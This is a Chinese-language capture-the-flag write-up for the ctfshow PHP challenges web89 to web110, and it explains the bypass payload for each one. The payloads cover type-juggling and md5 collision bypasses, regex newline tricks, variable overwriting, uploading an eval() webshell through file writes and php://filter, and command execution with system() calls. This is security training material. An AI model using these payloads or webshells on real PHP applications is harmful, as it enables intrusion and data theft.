web89
使用数组即可绕过,payload:num[]=1
web90
考查对于intval函数的应用:
intval ( mixed $var [, int $base = 10 ] ) : int
Note: 如果 base 是 0,通过检测 var 的格式来决定使用的进制: 如果字符串包括了 "0x" (或 "0X") 的前缀,使用
16 进制 (hex);否则, 如果字符串以 "0" 开始,使用 8 进制(octal);否则, 将使用 10 进制 (decimal)。
intval('4476.0')===4476 小数点 intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法 intval('0x117c')===4476 16进制
intval('010574')===4476 8进制 intval(' 010574')===4476 8进制+空格
payload:?num=4776.0
web91
i 不区分(ignore)大小写
m 多(more)行匹配 若存在换行n并且有开始^或结束$符的情况下, 将以换行为分隔符,逐行进行匹配 $str =
"abcnabc"; $preg = "/^abc$/m"; preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。s 特殊字符圆点 . 中包含换行符 默认的圆点 . 是匹配除换行符 n 之外的任何单字符,加上s之后, .包含换行符 $str =
"abggabnacbs"; $preg = "/b./s"; preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg bn bsA 强制从目标字符串开头匹配;
D 如果使用$限制结尾字符,则不允许结尾有换行;
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
通过这个加强对于正则表达式修饰符的理解,这里的要求是,首先经过第一个正则匹配,匹配php并且进行多行匹配,然后第二个正则是匹配php,因此思路就是经过第一个匹配,不经过第二个匹配,payload:?cmd=%0aphp,第一个正则时通过换行通过匹配,第二个正则因为%0a不通过。
web92
参考90
web93
与92不同,多加了一个对字母的绕过,因此不能使用十六进制,但是可以使用八进制,payload:?num=010574
web94
在93的基础上增加了一个对于首位字符是否是0的判断,可以直接加空格或者换行符进行绕过。payload:?num=%0a010574
web95
在94的基础上多过滤了.,依旧可以利用94的payload进行绕过。payload:?num=%0a010574
web96
过滤flag.php的情况下访问php可以通过绝对路径(/var/www/html/flag.php)、相对路径(./flag.php )、伪协议(php://filter/resource=flag.php)等方式访问
web97
md5()无法处理数组,会返回NULL,因此直接使用数组进行绕过就可以。payload:a[]=1&b[]=2
拓展:
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708
md5强碰撞
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
web98
查看源码可以知道,在第一行中,如果get中传入了一个参数那么就会被POST的参数覆盖,然后在最后一行中,给HTTP_FLAG出传入flag就可以得到flag,因此payload:?1=1,POST中:HTTP_FLAG=flag
web99
$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true
$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false
查看源代码可以知道,随机生成一个i,然后与n想比,相等则传入以n命名,content为参数的文件,由于1每次都传入,所以我们利用1来传入文件,payloa:?n=1.php POST中是content=<?php eval($_POST[1]);?>,多尝试几次,然后访问1.php,POST执行命令拿到flag。
web100
因为$v0是使用的and链接(如果是&&的话就需要v1、v2、v3都是数字才可以),所以只需要$v1是数字就可以是true,然后构造echo new ReflectionClass('ctfshow')来输出类,所以v2=echo new ReflectionClass('ctfshow')。payload:?v1=1&v2=echo new ReflectionClass('ctfshow')v3=;,拿到flag,还有一个非预期解,就是直接构造var_dump($ctfshow);来输出,这时v2=var_dump($ctfshow)/,v3=/,payload:?v1=1&v2=var_dump($ctfshow)/&v3=/,没有过滤,也可以直接执行命令,这就有很多解法了,payload3:v1=1&v2=-system('ls')-&v3=-1;,payload4:v1=1&v2=?><?php echo ls
?>/&v3=;/最后转一下0x2d
web101
非预期没了,直接用100的payload可以拿到flag
web102
查看源码,需要传POST一个,GET两个,然后v4(用and链接)判断v2是不是为数字,然后进入if判断,从v2的第三个字符读起并和v1组成参数str然后包含s和v3,没有很好的思路,看yu师傅的wp知道如果该题php环境时php5的话,is_numeric()是可以识别十六进制的,php7不可以,而且v2是经过截断的,所以一定能返回true,所以如果是php5的话就可以使用hex2bin函数进行十六进制的转换,payload:?v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php,POST:v1=hex2bin,这里的v2就是一句话木马,,然后但是本题的环境不是php5,是php7,如果用这种方法的话就无法绕过v4进入if,所以需要构造一个没有0x的编码,看yu师傅的思路是先base64编码,然后十六进制(这里可以保留字母e,因为会被视为科学计数法),payload:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php,POST:v1=hex2bin,这里注意v3前面要加上两个任意数字,然后访问1.php查看源码拿到flag。
web103
可以继续使用102的payload拿到flag,这里只是对解码后的v2进行了php的过滤,并没有影响到102的payload。
web104
比较hash,但是这里没有进行v1和v2的比较,所以直接给两个相同的数就能拿到flag。
web105
考察变量覆盖。查看源码,传入GET请求时,例如n00bk1ng=flag,经过foreach后会变成$n00bk1ng=$flag,相当于把flag的值赋给了$n00bk1ng;传入POST请求时,有一步过滤的情况,就是不能直接指向flag,因此构造$error=$n00bk1ng=$flag的链,这样的话可以构造error=n00bk1ng,然后构造成功,拿到flag。$n00bk1ng起到传递作用。当然这是通过$error输出的flag,还可以通过$suces输出变量,此时payload:suces=flag,POST中flag=,这里置空让判断if(!$_POST['flag']==$flag)返回false,拿到flag。这里感觉没办法通过直接echo $flag拿到flag,因为要想通过使flag的值变化返回变化前的flag,不太可能,所以没尝试。
web106
加上了v1和v2值的比较,但是仍然可以使用数组绕过,如果这里给了强制类型转换的话,那就需要找几个符合条件的数:
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
web107
parse_str()函数:将字符串解析成多个变量,如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。考点在于:如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量。所以查看源码要利用v1给flag赋一个和v3md5值相等的值,因此构造payload:?v3=n00bk1ng,POST中v1=719b3ef20c76791038177f911336a1a8,就可以拿到flag们也可以直接v3=0,找一个0e开头的数也能拿到flag。
web108
涉及三个函数,ereg():用正则对一个字符串进行过滤,intval()获取变量的整数值,strrev()字符串反转,思路就很明确了,首先考虑使用%00截断使ereg()可以通过数字,然后靠字符串反转把数字前置,然后获取变量整数值,payload:?c=noob%00778,拿到flag。
web109
该正则的意思是匹配至少有一个字母的字符串,然后看下面的输出,eval("echo new $v1($v2());");这里使用php异常处理类(PHP异常处理),于是可以考虑构造Exception()异常并且不报错就可以。payload:?v1=Exception&v2=system("tac f")还可以使用ReflectionClass,payload:?v1=ReflectionClass&v2=system('tac f')
web110
和109一样,但是做出了非常严格的过滤,只留下了字母,这里考虑使用php内置类 利用 FilesystemIterator 获取指定目录下的所有文件(FilesystemIterator),使用函数为getcwd(),然后查看文件拿到flag,payload:?v1=Filesystemlterator&v2=getcwd
https://blog.csdn.net/miuzzx/article/details/109168454?spm=1001.2014.3001.5501
评论 (0)